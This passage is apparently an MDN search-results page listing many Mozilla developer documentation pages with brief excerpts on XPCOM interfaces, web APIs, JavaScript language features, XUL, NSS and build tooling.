... void alertfilterchanged(in nsimsgwindow msgwindow); void throwalertmsg(in string msgname, in nsimsgwindow msgwindow); astring getstringwithfoldernamefrombundle(in string msgname); void notifycompactcompleted(); long comparesortkeys(in nsimsgfolder msgfolder); [noscript] void getsortkey(out octet_ptr key, out unsigned long length); boolean callfilterplugins(in nsimsgwindow amsgwindow); acstring getstringproperty(in string propertyname); void setstringproperty(in string propertyname, in acstring propertyvalue); boolean isancestorof(in nsimsgfolder folder); boolean containschildnamed(in astring name); nsimsgfolder getchildnamed(in astring aname); nsimsgfolder findsubfolder(in acstrin...
...And 26 more matches
nsINavBookmarksService
a uri in history can be contained in one or more such folders.
... void removefolder(in long long afolder); obsolete since gecko 2.0 void removefolderchildren(in long long aitemid); void removeitem(in long long aitemid); void removeobserver(in nsinavbookmarkobserver observer); void replaceitem(in print64 folder, in nsiuri item, in nsiuri newitem); obsolete since gecko 1.9 void runinbatchmode(in nsinavhistorybatchcallback acallback, in nsisupports auserdata); void setfolderreadonly(in long long afolder, in boolean areadonly); void setfoldertitle(in print64 folder, in astring title); obsolete since gecko 1.9 void setitemdateadded(in long long aitemid, in prtime adateadded); void setitemguid(in long long aitemid, in astring aguid); obsolete since gecko 14.0 void...
... beginupdatebatch() obsolete since gecko 1.9 (firefox 3) causes observers to be notified of a beginupdatebatch when a lot of things are about to change.
...And 26 more matches
nsINavHistoryResultObserver
method overview void batching(in boolean atogglemode); void containerclosed(in nsinavhistorycontainerresultnode acontainernode); deprecated since gecko 2.0 obsolete since gecko 11.0 void containeropened(in nsinavhistorycontainerresultnode acontainernode); deprecated since gecko 2.0 obsolete since gecko 11.0 void containerstatechanged(in nsinavhistorycontainerresultnode acontainernode, in unsigned long aoldstate, in unsigned long anewstate); void invalidatecontainer(in nsinavhistorycontainerresultnode acontainernode); void ...
...although this attribute is read-write, you should not alter it directly; instead, call nsinavhistoryresult.addobserver() to add an observer to a result.
...the observer can then pause updates or events until the batch is completed, so that it won't handle the large number of updates that are about to be notified.
...And 26 more matches
nsIWindowWatcher
clients may expect this property to be always current, so to properly integrate this component the application will need to keep it current by setting the property as the active window changes.
...note that there is no interface for such notifications (not a public one, anyway).
... this is taken care of both in mozilla and by common embedding code.
...And 26 more matches
Memory - Plugins
« previousnext » this chapter describes the plug-in api functions that allocate and free memory as needed by the plug-in.
... because plug-ins share memory space with the browser, they can take advantage of any customized memory-allocation scheme the browser has.
... browser memory schemes may be more efficient than standard os memory functions, and can give the browser flexibility in the way it manages memory.
...And 26 more matches
Introduction to DOM Inspector - Firefox Developer Tools
the dom inspector is a mozilla extension that you can access from the tools > web development menu in seamonkey, or by selecting the dom inspector menu item from the tools menu in firefox and thunderbird, or by using ctrl/cmd+shift+i in either application.
... dom inspector is standalone; it supports all toolkit applications, and it's possible to embed it in your own xulrunner app.
... dom inspector can serve as a sanity check to verify the state of the dom, or it can be used to manipulate the dom by hand, if desired.
...And 26 more matches
Using Pointer Events - Web APIs
this guide demonstrates how to use pointer events and the html <canvas> element to build a multi-touch enabled drawing application.
...another difference is that because pointer events are pointer device agnostic, the application accepts coordinate-based inputs from a mouse, a pen, or a fingertip using the same code.
... this application will only work on a browser that supports pointer events.
...And 26 more matches
User input and controls - Developer guides
user input and controls workflow the following diagram illustrates the typical workflow for implementing user input mechanisms: first of all, you need to decide which input mechanisms you want to cover in your application out of mouse, keyboard, finger touch and so on.
... once you decided the input mechanisms, you can control them using tools offered by the web platform or javascript libraries.
... recommendations available input mechanisms depend on the capabilities of the device running the application: some devices provide touchscreen displays: the web platform offers touch events to interpret finger activity on touch-based user interfaces.
...And 26 more matches
<input type="time"> - HTML: Hypertext Markup Language
WebHTMLElementinputtime
appearance chrome and opera in chrome/opera the time control is simple, with slots to enter hours and minutes in 12 or 24-hour format depending on operating system locale, and up and down arrows to increment and decrement the currently selected component.
...the new element is functionally identical to the old one, but has a similar ui to edge.
...it also uses a 12- or 24-hour format for inputting times, based on system locale.
...And 26 more matches
Microformats - HTML: Hypertext Markup Language
these minimal patterns of html are used for marking up entities that range from fundamental to domain-specific information, such as people, organizations, events, and locations.
... microformats use supporting vocabularies to describe objects and name-value pairs to assign values to their properties.
... the properties are carried in class attributes that can be added to any html element, while the data values re-use html element content and semantic attributes.
...And 26 more matches
Inheritance and the prototype chain - JavaScript
javascript is a bit confusing for developers experienced in class-based languages (like java or c++), as it is dynamic and does not provide a class implementation per se (the class keyword is introduced in es2015, but is syntactical sugar, javascript remains prototype-based).
...each object has a private property which holds a link to another object called its prototype.
...// this is called property shadowing console.log(o.c); // 4 // is there a 'c' own property on o?
...And 26 more matches
Memory Management - JavaScript
in contrast, javascript automatically allocates memory when objects are created and frees it when they are not used anymore (garbage collection).
... this automaticity is a potential source of confusion: it can give developers the false impression that they don't need to worry about memory management.
... memory life cycle regardless of the programming language, the memory life cycle is pretty much always the same: allocate the memory you need use the allocated memory (read, write) release the allocated memory when it is not needed anymore the second part is explicit in all languages.
...And 26 more matches
Classes - JavaScript
they encapsulate data with code to work on that data.
... defining classes classes are in fact "special functions", and just as you can define function expressions and function declarations, the class syntax has two components: class expressions and class declarations.
...class expressions can be named or unnamed.
...And 26 more matches
Array.prototype.every() - JavaScript
syntax arr.every(callback(element[, index[, array]])[, thisarg]) parameters callback a function to test for each element, taking three arguments: element the current element being processed in the array.
... array optional the array every was called upon.
... thisarg optional a value to use as this when executing callback.
...And 26 more matches
Function.prototype.apply() - JavaScript
the apply() method calls a function with a given this value, and arguments provided as an array (or an array-like object).
... syntax func.apply(thisarg, [ argsarray]) parameters thisarg the value of this provided for the call to func.
... argsarray optional an array-like object, specifying the arguments with which func should be called, or null or undefined if no arguments should be provided to the function.
...And 26 more matches
Images, Tables, and Mysterious Gaps - Archive of obsolete content
however, these techniques may be relevant when the developer cannot assume that users have a modern browser, such as for html-based e-mail messages.
...back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained.
...thanks to an obscure corner of the css specification, every design based on a precise layout of small images in table cells have become visual disasters just waiting to happen.
...And 25 more matches
Prism - Archive of obsolete content
prism is a simple xulrunner-based browser that hosts web applications without the normal web browser user interface.
... prism is based on a concept called site-specific browsers (ssb).
... an ssb is designed to work exclusively with a single web application.
...And 25 more matches
The new nsString class implementation (1999) - Archive of obsolete content
if you happen to see dbaron lying around somewhere, please direct him here so he can fix this message.
... this document is intended to briefly describe the new nsstring class architecture, and discuss the implications on memory management, optimizations, internationalization and usage patterns.
...no one has ever devised one that more than 2 programmers can agree on.
...And 25 more matches
Introduction - Archive of obsolete content
next » this tutorial is a guide to learning xul (xml user interface language) which is a cross-platform language for describing applications' user interfaces.
...you can follow along by looking for these sections.
... most applications need to be developed using features of a specific platform making building cross-platform software time-consuming and costly.
...And 25 more matches
textbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an input field where the user can enter text.
...the multiline attribute can be specified to display a field with multiple rows.
... disabled type: boolean indicates whether the element is disabled or not.
...And 25 more matches
tree - Archive of obsolete content
ArchiveMozillaXULtree
« xul reference home [ examples | attributes | properties | methods | related ] a container which can be used to hold a tabular or hierarchical set of rows of elements.
...the third column indicates whether treeitem element are used.
...however, the content view will automatically update the tree if treeitems are changed.
...And 25 more matches
XULRunner Hall of Fame - Archive of obsolete content
see also featured mozilla-based applications, many of which use xulrunner.
... xulrunner 5+ based applications these applications use xulrunner 5 or greater.
...mathml support is significant.
...And 25 more matches
Table Reflow Internals - Archive of obsolete content
overview review of reflow table frames table reflow intro to paginated reflow table paginated reflow review of reflow reflow process starts when an html document starts loading (the frame tree contains only viewport, scroll(s), canvas, html, body).
...the reflower positions reflowee (if it can) before actually reflowing in case views are involved (e.g.
... review of reflow the reflow metrics contains: max element size (if requested) - the minimum size it can be preferred size (if requested) - the size it would like to be given no size constraints.
...And 25 more matches
XForms Custom Controls - Archive of obsolete content
we will also show you how to create custom controls that work with the xforms model and are automatically updated just like xforms controls.
...why do you need this you will probably find that your need for customization will fall into one of the following categories: custom presentation - xforms controls as rendered by the mozilla xforms processor do not provide the right look and feel for you.
... custom data types - existing xforms controls are not able to work properly with your data type advanced xforms controls - you need your controls to be able to do more things than traditional xforms controls can do new host language - you'd like to support xforms in host languages other than xhtml or xul custom presentation the mozilla xforms extension cannot anticipate all of the possible use cases that will evolve in web applications and web pages as xforms matures and the user base grows.
...And 25 more matches
Desktop mouse and keyboard controls - Game development
previous overview: control mechanisms next now when we have our mobile controls in place and the game is playable on touch-enabled devices, it would be good to add mouse and keyboard support, so the game can be playable also on desktop.
... that way we can broaden the list of supported platforms.
... note: the captain rogers: battle at andromeda is built with phaser and managing the controls is phaser-based, but it could also be done in pure javascript.
...And 25 more matches
Understanding client-side JavaScript frameworks - Learn web development
javascript frameworks are an essential part of modern front-end web development, providing developers with tried and tested tools for building scalable, interactive web applications.
... as an aspiring front-end developer, it can be hard to work out where to begin when learning frameworks — there are so many different frameworks to choose from, new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks.
... if you need to check your code against our version, you can find a finished version of the sample react app code in our todo-react repository.
...And 25 more matches
Message manager overview
in multiprocess firefox there are (at least) two processes: the chrome process, also called the parent process, runs the browser ui (chrome) code and code inserted by extensions one or more content processes, also called child processes.
... message managers are designed to enable chrome-privileged javascript code in one process to communicate with chrome-privileged javascript code in a different process.
... this article describes the different types of message manager, how to access them, and at a high level, what sorts of things you can use them for.
...And 25 more matches
Using the Browser API
MozillaGeckoChromeAPIBrowser APIUsing
the html browser api is an extension of the html <iframe> element that allows web apps to implement browsers or browser-like applications.
... it was originally used in firefox os to implement browser applications before that project was cancelled; since firefox 47 it is available to desktop chrome code and used in places like the firefox devtools.
... it consists of two major parts: custom <iframe> attributes: by adding a mozbrowser attribute to the <iframe> element we can make it appear like a top-level browser window to the embedded content.
...And 25 more matches
Browser API
the html browser api is an extension of the html <iframe> element that allows web apps to implement browsers or browser-like applications.
... browser api concepts and usage the browser api consists of two major parts: custom <iframe> attributes: by adding a mozbrowser attribute to the <iframe> element we can make it appear like a top-level browser window to the embedded content.
... htmliframeelement.getcangoback() indicates whether it's possible to navigate backwards.
...And 25 more matches
Release phase
you've setup up your local and remote environments, you've selected your l10n tools and projects, done some localization and even some testing!
...here, we'll continue to stay true to the original intent of this guide and only present you with the technical information you need to become an official release.
...your official release repository now that your locale has been registered, the localization files will live on mozilla mercurial server at hg.mozilla.org.
...And 25 more matches
BloatView
if it finds leaks, you can use refcount tracing and balancing to discover the root cause.
... how to run with bloatview the are two environment variables that can be used.
... xpcom_mem_bloat_log if set, this causes a bloat log to be printed on program exit, and each time nstracerefcnt::dumpstatistics is called.
...And 25 more matches
NSS 3.35 release notes
for the sslsignaturescheme enum, the enumerated values ssl_sig_rsa_pss_sha* are deprecated in response to a change in tls 1.3.
... if nss is initialized, in read-write mode with a database directory provided, it uses database files to store certificates, key, trust, and other information.
...parallel database access, by multiple applications, is forbidden as it will likely result in data corruption.
...And 25 more matches
nss tech note5
using nss to perform miscellaneous cryptographic operations nss technical note: 5 nss project info is at http://www.mozilla.org/projects/security/pki/nss/ you can browse the nss source online at http://lxr.mozilla.org/mozilla/source/security/nss/ and http://lxr.mozilla.org/security/ be sure to look for sample code first for things you need to do.
... encrypt/decrypt include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") choose a cipher mechanism.
...if you choose something else, then data padding is the application's responsibility.
...And 25 more matches
Exact Stack Rooting
gcpointers can be stored as a property of a gcthing, on the cheap, or in the cstack.
... gcpointers that reside in gcthings fall into one of these cases: storage in a normal property, storage in a reserved slot, or storage with js_{get|set}private.
...the private field is frequently used to store things that are not gcpointers, so the gc cannot automatically handle this slot.
...And 25 more matches
JS_THREADSAFE
requests in a js_threadsafe build, the application must separate code that uses the jsapi from code that performs blocking i/o or time-consuming calculations.
...requests must be bracketed with calls to js_beginrequest() and js_endrequest().
... most jsapi functions require the caller to be in a request.
...And 25 more matches
nsIRequest
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) for example nsichannel typically passes itself as the nsirequest argument to the nsistreamlistener on each onstartrequest, ondataavaliable, and onstoprequest invocation.
... method overview void cancel(in nsresult astatus); boolean ispending(); void resume(); void suspend(); attributes attribute type description loadflags nsloadflags the load flags of this request.
... load_background 1 << 0 do not deliver status notifications to the nsiprogresseventsink, or keep this load from completing the nsiloadgroup it may belong to.
...And 25 more matches
nsIScriptableIO
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports a scriptable io object can be used in an extension or chrome code by referring to the global io object.
... for example: io.getfile("profile", "cookies.txt"); from an xpcom component, however, you will need to get a reference as with other components: var scriptableio = components.classes["@mozilla.org/io/scriptable-io;1"] .getservice(); scriptableio.getfile("profile", "cookies.txt"); method overview nsifile getfile(in astring alocation, in astring afilename); nsifile getfilewithpath(in astring afilepath); nsisupports newinputstream(in nsivariant abase, in astring amode, [optional] in astring acharset, [optional] in astring areplacechar, [optional] in unsigned long abuffersize); nsisupports newoutputstream(in nsivariant abase, in astring amode, [optional] in astring acharset, [optional] in astring arepla...
...And 25 more matches
nsIXULTemplateQueryProcessor
the query is expected to consist of either text or dom nodes that, when executed by a call to the generateresults() method, will allow the generation of a list of results.
... the template builder will supply two variables, the reference variable and the member variable to further indicate what part of the datasource is to be examined in addition to the query itself.
...for instance, a datasource that holds a table that can only produce one set of results.
...And 25 more matches
about:debugging - Firefox Developer Tools
the about:debugging page provides a single place from which you can attach the firefox developer tools to a number of debugging targets.
... connect the android device to your computer using a usb cable.
... if it still doesn't appear, it may be because the link between your android device and your computer is not authorized yet.
...And 25 more matches
CSSPrimitiveValue.primitiveType - Web APIs
the value can be obtained by using the getstringvalue() method.
...the value can be obtained by using the getfloatvalue() method.
...the value can be obtained by using the getcountervalue() method.
...And 25 more matches
HTMLImageElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25...
...when called without parameters, new image() is equivalent to calling document.createelement("img").
... htmlimageelement.alt a domstring that reflects the alt html attribute, thus indicating the alternate fallback content to be displayed if the image has not been loaded.
...And 25 more matches
HTMLTextAreaElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 ...
... autocapitalize string: returns / sets the element's capitalization behavior for user input.
... autocomplete autofocus boolean: returns / sets the element's autofocus attribute, indicating that the control should have input focus when the page loads cols unsigned long: returns / sets the element's cols attribute, indicating the visible width of the text area.
...And 25 more matches
The HTML DOM API - Web APIs
interacting with the contents of 2d images and the context of an html <canvas>, for example to draw on top of them.
...can be found in the documentation for those apis.
...a document, in turn, consists of a hierarchical tree of nodes, in which a node is a fundamental record representing a single object within the document (such as an element or text node).
...And 25 more matches
Pointer Lock API - Web APIs
the pointer lock api (formerly called mouse lock api) provides input methods based on the movement of the mouse over time (i.e., deltas), not just the absolute position of the mouse cursor in the viewport.
... it gives you access to raw mouse movement, locks the target of mouse events to a single element, eliminates limits on how far mouse movement can go in a single direction, and removes the cursor from view.
... more than that, the api is useful for any applications that require significant mouse input to control movements, rotate objects, and change entries, for example allowing users to control the viewing angle simply by moving the mouse around without any button clicking.
...And 25 more matches
RTCPeerConnection.setRemoteDescription() - Web APIs
this is typically called after receiving an offer or answer from another peer over the signaling server.
... keep in mind that if setremotedescription() is called while a connection is already in place, it means renegotiation is underway (possibly to adapt to changing network conditions).
... because descriptions will be exchanged until the two peers agree on a configuration, the description submitted by calling setremotedescription() does not immediately take effect.
...And 25 more matches
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
note: webrtc actually uses srtp (secure real-time transport protocol) to ensure that the exchanged data is secure and authenticated as appropriate.
... keeping latency to a minimum is especially important for webrtc, since face-to-face communication needs to be performed with as little latency as possible.
...those conditions may be affected by everything from the underlying layers of the network stack to the physical network connection, the intervening networks, the performance of the remote endpoint, noise levels, traffic levels, and so forth.
...And 25 more matches
Using the Web Speech API - Web APIs
speech recognition speech recognition involves receiving speech through a device's microphone, which is then checked by a speech recognition service against a list of grammar (basically, the vocabulary you want to have recognised in a particular app.) when a word or phrase is successfully recognised, it is returned as a result (or list of results) as a text string, and further actions can be initiated as a result.
... demo to show simple usage of web speech recognition, we've written a demo called speech color changer.
... when the screen is tapped/clicked, you can say an html color keyword, and the app's background color will change to that color.
...And 25 more matches
Using the Web Storage API - Web APIs
the web storage api provides mechanisms by which browsers can securely store key/value pairs.
...the keys and the values are always strings (note that, as with objects, integer keys will be automatically converted to strings).
... you can access these values like an object, or with the storage.getitem() and storage.setitem() methods.
...And 25 more matches
window.postMessage() - Web APIs
the window.postmessage() method safely enables cross-origin communication between window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.
...this means you can pass a broad variety of data objects safely to the destination window without having to serialize them yourself.
... [1] targetorigin specifies what the origin of targetwindow must be for the event to be dispatched, either as the literal string "*" (indicating no preference) or as a uri.
...And 25 more matches
WritableStream.WritableStream() - Web APIs
underlyingsink can contain the following: start(controller) optional this is a method, called immediately when the object is constructed.
...if this process is to be done asynchronously, it can return a promise to signal success or failure.
...this can be used by the developer to control the stream during set up.
...And 25 more matches
Audio and video manipulation - Developer guides
the beauty of the web is that you can combine technologies to create new forms.
... having native audio and video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and video directly, for example adding reverb/compression effects to audio, or grayscale/sepia filters to video.
... video manipulation the ability to read the pixel values from each frame of a video can be very useful.
...And 25 more matches
FinalizationRegistry - JavaScript
a finalizationregistry object lets you request a callback when an object is garbage-collected.
... description finalizationregistry provides a way to request that a cleanup callback get called at some point when an object registered with the registry has been reclaimed (garbage-collected).
... (cleanup callbacks are sometimes called finalizers.) note: cleanup callbacks should not be used for essential program logic.
...And 25 more matches
eval() - JavaScript
the expression can include variables and properties of existing objects.
...do not call eval() to evaluate an arithmetic expression; javascript evaluates arithmetic expressions automatically.
... if you construct an arithmetic expression as a string, you can use eval() to evaluate it at a later time.
...And 25 more matches
switch - JavaScript
the switch statement evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case, as well as statements in cases that follow the matching case.
... syntax switch (expression) { case value1: //statements executed when the //result of expression matches value1 [break;] case value2: //statements executed when the //result of expression matches value2 [break;] ...
... case valuen: //statements executed when the //result of expression matches valuen [break;] [default: //statements executed when none of //the values match the value of the expression [break;]] } expression an expression whose result is matched against each case clause.
...And 25 more matches
Optimizing startup performance - Web Performance
the user is unable to cancel if they launched your app by mistake.
... if the app is being run in a browser, it's possible the user may get an "unresponsive app" or "slow script" notification.
...all pure startup calculations should be performed in background threads, while you keep the run-time of main thread events as short as possible.
...And 25 more matches
Transport Layer Security - Web security
this article's goal is to help you make these decisions to ensure the confidentiality and integrity communication between client and server.
... the transport layer security (tls) protocol is the standard for enabling two networked applications or devices to exchange information privately and robustly.
... applications that use tls can choose their security parameters, which can have a substantial impact on the security and reliability of data.
...And 25 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
if it cannot be easily proven that an eval() call is benign and necessary because there are no viable alternatives, a mozilla add-ons gallery reviewer will generally reject the submission!
...additionally, parsing json retrieved from a remote location becomes a security vulnerability when parsed with the eval function.
... basically, you are executing remote code with full chrome access; that is, introducing a remote code execution vulnerability.
...And 24 more matches
New Security Model for Web Services - Archive of obsolete content
securing resources from untrusted scripts behind firewalls introduction this page describes an alternative mechanism which can be used to protect all internal resources against requests from sandboxed scripts.
... this should especially be implemented for soap calls by untrusted scripts.
...these scripts may legitimately require access to external resources, but permitting them to access internal resources permits the compromise of these resources that would normally not be available to applications outside of the firewall.
...And 24 more matches
Tamarin build documentation - Archive of obsolete content
use the following command to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-central tamarin-central tips for working with mercurial can be found here.
... optional flags: --enable-debugger - debugger build --enable-debug - debug build for verbose build of tamarin, you can pass cppflags to make.
... example call to build on an x86_64 machine with the 10.5 sdk: $ ../configure.py --mac-sdk=105 --target=x86_64-darwin if asc is not set, you will need to add asc.jar to the utils directory in tamarin-redux (bug 631641).
...And 24 more matches
Writing to Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
...an output stream is an object which can be used to write bytes, strings and other values to a file.
...try { var file = io.getfile("desktop", "myinfo.txt"); var stream = io.newoutputstream(file, "text"); } catch (ex) { alert(ex); } this example retrieves a file object on the desktop called 'myinfo.txt' using nsiscriptableio.getfile().
...And 24 more matches
PopupEvents - Archive of obsolete content
this may happen because the user selected an item from the menu, or it may be because the popup was closed by clicking elsewhere.
...this will occur regardless of how the popup is opened, either from user interaction or from a script calling the openpopup or openpopupatscreen methods.
... the typical usage of a listener of the popupshowing event is to adjust the content of the popup based on context.
...And 24 more matches
Adding Properties to XBL-defined Elements - Archive of obsolete content
with xbl, you can define your own properties for the elements you create.
... you can also add methods that can be called.
... that way, all you need is to get a reference to the element (using document.getelementbyid or a similar function) and then get or set the additional properties and call the methods on it.
...And 24 more matches
The Chrome URL - Archive of obsolete content
the chrome url xul files can be referenced with a regular http url (or any type of url) just like html files.
... however, packages that are installed into mozilla's chrome system can be referenced with special chrome urls.
... the packages included with mozilla will already be installed but you can register your own.
...And 24 more matches
XULRunner tips - Archive of obsolete content
extension manager to be able to install any extensions, you first need to enable the extension manager in application.ini.
... xulrunner 1.8.0 does not load extensions from the application directory; only the xulrunner directory and the user profile directory are checked.
... however, it seems that with xulrunner 1.9 the xulrunner directory is ignored, while the profile and application directories are checked.
...And 24 more matches
NPP_NewStream - Archive of obsolete content
seekable boolean indicating whether the stream is seekable: true: seekable.
... stream supports random access through calls to npn_requestread (for example, local files or http servers that support byte-range requests).
...the browser must copy data in the stream to the local cache to satisfy random access requests made through npn_requestread.
...And 24 more matches
Encryption and Decryption - Archive of obsolete content
a cryptographic algorithm, also called a cipher, is a mathematical function used for encryption or decryption.
... in most cases, two related functions are employed, one for encryption and the other for decryption.
... with most modern cryptography, the ability to keep encrypted information secret is based not on the cryptographic algorithm, which is widely known, but on a number called a key that must be used with the algorithm to produce an encrypted result or to decrypt previously encrypted information.
...And 24 more matches
Game promotion - Game development
there are many ways to promote your game — most of them being free, so even if you're struggling to make a living as an indie dev with zero budget you can still do a lot to let people know about your great new game.
...if you make a good game for a competition and win some prizes in the process your game will automatically be promoted by the organizers and other attendees.
...plus competitions generally require games to follow a mandatory theme, so you can get creative around a theme if you are stuck for ideas.
...And 24 more matches
Desktop gamepad controls - Game development
api status, browser and hardware support the gamepad api is still in working draft status, although browser support is already quite good — around 63% global coverage, according to caniuse.com.
...first, we need an event listener to listen for the connection of the new device: window.addeventlistener("gamepadconnected", gamepadhandler); it's executed once, so we can create some variables we will need later on for storing the controller info and the pressed buttons: var controller = {}; var buttonspressed = []; function gamepadhandler(e) { controller = e.gamepad; output.innerhtml = "gamepad: " + controller.id; } the second line in the gamepadhandler function shows up on the screen when the device is connected: we can also show the id of the devi...
...ce — in the case above we're using the xbox 360 wireless controller.
...And 24 more matches
Styling links - Learn web development
link states the first thing to understand is the concept of link states — different states that links can exist in, which can be styled using different pseudo-classes: link (unvisited): the default state that a link resides in, when it isn't in any other state.
... this can be specifically styled using the :link pseudo class.
... focus: a link when it has been focused (for example moved to by a keyboard user using the tab key or similar, or programmatically focused using htmlelement.focus()) — this is styled using the :focus pseudo class.
...And 24 more matches
What’s in the head? Metadata in HTML - Learn web development
objective: to learn about the html head, its purpose, the most important items it can contain, and what effect it can have on the html document.
...in the above example, the head is quite small: <head> <meta charset="utf-8"> <title>my test page</title> </head> in larger pages however, the head can get quite full.
...our aim here is not to show you how to use everything that can possibly be put in the head, but rather to teach you how to use the major elements that you'll want to include in the head, and give you some familiarity.
...And 24 more matches
Adding features to our bouncing balls demo - Learn web development
objective: to test comprehension of javascript objects and object-oriented constructs starting point to get this assessment started, make a local copy of index-finished.html, style.css, and main-finished.js from our last article in a new directory in your local computer.
...read the whole assessment before you start coding, and take each step slowly and carefully.
... it might be a good idea to save a separate copy of the demo after you get each stage working, so you can refer back to it if you find yourself in trouble later on.
...And 24 more matches
JavaScript object basics - Learn web development
object basics an object is a collection of related data and/or functionality (which usually consists of several variables and functions — which are called properties and methods when they are inside objects.) let's work through an example to understand what they look like.
... to begin with, make a local copy of our oojs.html file.
...but this is an empty object, so we can't really do much with it.
...And 24 more matches
Working with JSON - Learn web development
it is commonly used for transmitting data in web applications (e.g., sending some data from the server to the client, so it can be displayed on a web page, or vice versa).
... you'll come across it quite often, so in this article we give you all you need to work with json using javascript, including parsing json so you can access data within it, and creating json.
...even though it closely resembles javascript object literal syntax, it can be used independently from javascript, and many programming environments feature the ability to read (parse) and generate json.
...And 24 more matches
Componentizing our React app - Learn web development
before we can make it do things, we need to break it apart into manageable, descriptive components.
... defining our first component defining a component can seem tricky until you have some practice, but the gist is: if it represents an obvious "chunk" of your app, it's probably a component if it gets reused often, it's probably a component.
... make a <todo /> before we can make a component, we should create a new file for it.
...And 24 more matches
Debugging on Mac OS X
this document explains how to debug mozilla-derived applications such as firefox, thunderbird, and seamonkey on macos using xcode.
... creating a debuggable build first, you need to build the application you're going to debug using --disable-optimize--enable-debug-symbols in your .mozconfig (also add --enable-debug if you want assertions etc.
... debugging firefox on macos 10.14+ macos 10.14 introduced notarization and hardened runtime features for improved application security.
...And 24 more matches
mach
if it works, you can look at compiler warnings: $ ./mach warnings-list try running the program: $ ./mach run try running your program in a debugger: $ ./mach run --debug try running some tests: $ ./mach xpcshell-test services/common/tests/unit/ or run an individual test: $ ./mach mochitest browser/base/content/test/general/browser_pinnedtabs.js you run mach from the source directory, so you should be able...
...$ cd objdir-firefox $ mach build adding mach to your shell's search path if you add mach to your path (by modifying the path environment variable to include your source directory, or by copying mach to a directory in the default path like /usr/local/bin) then you can type mach anywhere in your source directory or your objdir.
... mach expands relative paths starting from the current working directory, so you can run commands like mach build .
...And 24 more matches
Extending a Protocol
tl:dr: you can see the final implementation of pecho.ipdl as a diff in phabricator.
... to make this tutorial less abstract (more fun!), we are going to implement a js method called echo() on the navigator interface.
...so communication can go in both directions.
...And 24 more matches
Internationalized Domain Names (IDN) Support in Mozilla Browsers
introduction netscape 7.1 is the first commercial browser that has built-in support for internationalized domain name under the new ietf rfc's established in 2003.
...rfc's 3490, 3491, 3492.) these new rfc's now make it possible for domain name servers to register non-ascii domain names and application/client vendors to implement standardized support for handling non-ascii characters in domain names.
... idn allows host/domain names with non-ascii characters for user input into a browser's location bar or url's embedded in web pages.
...And 24 more matches
Promise
a reference to an existing promise may be received by different means, for example as the return value of a call into an asynchronous api.
... once you have a reference to a promise, you can call its then() method to execute an action when the value becomes available, or when an error occurs.
... internally, a promise can be in one of three states: pending, when the final value is not available yet.
...And 24 more matches
nss tech note3
all about certificate extensions nss technical note: 3 09 may 2002 nelson b.
... bolyard this week at least 5 different people came to me with variants of the same question: what certificate extensions do i have to put into my cert for nss to allow it to be used for purpose <x>??
... this message attempts to answer that question, and to document nss's approach to validating certificates for certain purposes.
...And 24 more matches
Rhino scopes and contexts
simple embeddings of rhino probably won't need any of the information here, but more complicated embeddings can gain performance and flexibility from the techniques described below.
... to associate the current thread with a context, simply call the enter method of context: context cx = context.enter(); once you are done with execution, simply exit the context: context.exit(); these calls will work properly even if there is already a context associated with the current thread.
... remember to put the exit() call in a finally block if you're executing code that could throw an exception.
...And 24 more matches
nsIAppStartup
toolkit/components/startup/public/nsiappstartup.idlscriptable this interface is intended to be used as application startup service.
... it also helps in quitting applications as well.
...ents.classes["@mozilla.org/toolkit/app-startup;1"] .getservice(components.interfaces.nsiappstartup); method overview void createhiddenwindow(); boolean createstartupstate(in long awindowwidth, in long awindowheight); obsolete since gecko 1.9.1 void destroyhiddenwindow(); void doprofilestartup(in nsicmdlineservice acmdlineservice, in boolean caninteract); obsolete since gecko 1.9.1 void ensure1window(in nsicmdlineservice acmdlineservice); obsolete since gecko 1.9.1 void enterlastwindowclosingsurvivalarea(); void exitlastwindowclosingsurvivalarea(); void getstartupinfo(); void hidesplashscreen(); obsolete since gecko 1.9.1 void initialize(in nsisupports nativeappsupportorsplashscreen...
...And 24 more matches
nsICryptoHash
netwerk/base/public/nsicryptohash.idlscriptable this interface can be used to compute a cryptographic hash function of some data.
... you can, for example, calculate the sha256 hash of a file to determine if it contains the data you think it does.
... acstring finish(in prbool aascii); void init(in unsigned long aalgorithm); void initwithstring(in acstring aalgorithm); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefromstream(in nsiinputstream astream, in unsigned long alen); constants hash algorithms these constants are used by the init() method to indicate which hashing function to use.
...And 24 more matches
nsISupports proxies
